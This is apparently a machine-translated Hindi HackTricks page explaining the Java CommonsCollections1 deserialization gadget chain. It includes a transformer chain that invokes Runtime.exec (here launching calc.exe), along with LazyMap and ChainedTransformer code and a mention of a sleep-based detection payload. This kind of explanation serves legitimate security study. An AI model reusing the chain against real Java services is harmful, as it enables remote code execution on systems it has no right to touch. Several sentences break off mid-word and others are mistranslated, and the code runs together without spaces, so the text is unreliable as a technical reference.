क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी का हैकट्रिक्स में विज्ञापित देखना चाहते हैं? या क्या आप PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं? सब्सक्रिप्शन प्लान्स की जांच करें!
अगर आप जावा डीसीरियलाइज़ेशन पेलोड के बारे में कुछ नहीं जानते हैं तो यह समझना कठिन हो सकता है कि यह कोड क्यों एक कैल्क को निष्पादित करेगा।
सबसे पहले आपको यह जानना चाहिए कि जावा में Transformer एक ऐसी चीज है जो एक क्लास को प्राप्त करती है और उसे एक दूसरे के लिए रूपांतरित करती है।
इसके अलावा यह दिलचस्प है कि यहाँ निष्पादित पेलोडसमतुल्य है:
तो, पहले पेलोड में कैसे प्रस्तुत है जो उन "सरल" एक-लाइनर्स के समान हैं?
पहली बात तो यह है कि पेलोड में एक ट्रांसफॉर्म की श्रृंखला (एरे) बनाई गई है:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
यदि आप कोड पढ़ें तो आप देखेंगे कि यदि आप किसी भावी आदेशों को निषेधित करने के लिए सरणी के परिवर्तनों को किसी प्रकार जोड़ते हैं तो आप विचार कर सकते हैं।
आप पेयलोड के अंतिम खंड में देख सकते हैं कि एक Map object बनाया गया है। फिर, decorate फ़ंक्शन LazyMap से मानचित्र ऑब्ज
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
और फिर महान समापन को क्रियान्वित किया जाता है: lazyMap.get("anything");
यह get फ़ंक्शन का कोड है:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
और यह है transform फ़ंक्शन का कोड
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
इसलिए, याद रखें कि फैक्टरी के अंदर हमने chainedTransformer को सहेजा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफ़ॉर्मर्स के माध्यम से जा रहे हैं जो एक के बाद एक चेन किए गए हैं और एक के बाद एक को क्रियान्वित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफ़ॉर्मर object का उपयोग कर रहा है और **ऑब्ज
ध्यान दें कि यहाँ उन गैजेट्स की व्याख्या की गई थी जो ComonsCollections1 पेलोड के लिए उपयोग किए गए थे। लेकिन यह छूट गई है कि यह सब कैसे आरंभ होता है। आप यहाँ देख सकते हैं कि ysoserial, इस पेलोड को निष्पादित करने के लिए, एक AnnotationInvocationHandler ऑब्जेक्ट का उपयोग करता है क्योंकि जब इस ऑब्जेक्ट को डीसीरियलाइज़ किया जाता है, तो यह payload.get() फ़ंक्शन को आमंत्रित करेगा जो पूरे पेलोड को निष्पादित करेगा।
जावा थ्रेड स्लीप
यह पेलोड हैंडी हो सकता है ताकि पता लगाया जा सके कि क्या वेब कमजोर है क्योंकि यह एक स्लीप को निष्पादित करेगा अगर यह है।
क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए? सब्सक्रिप्शन प्लान्स की जाँच करें!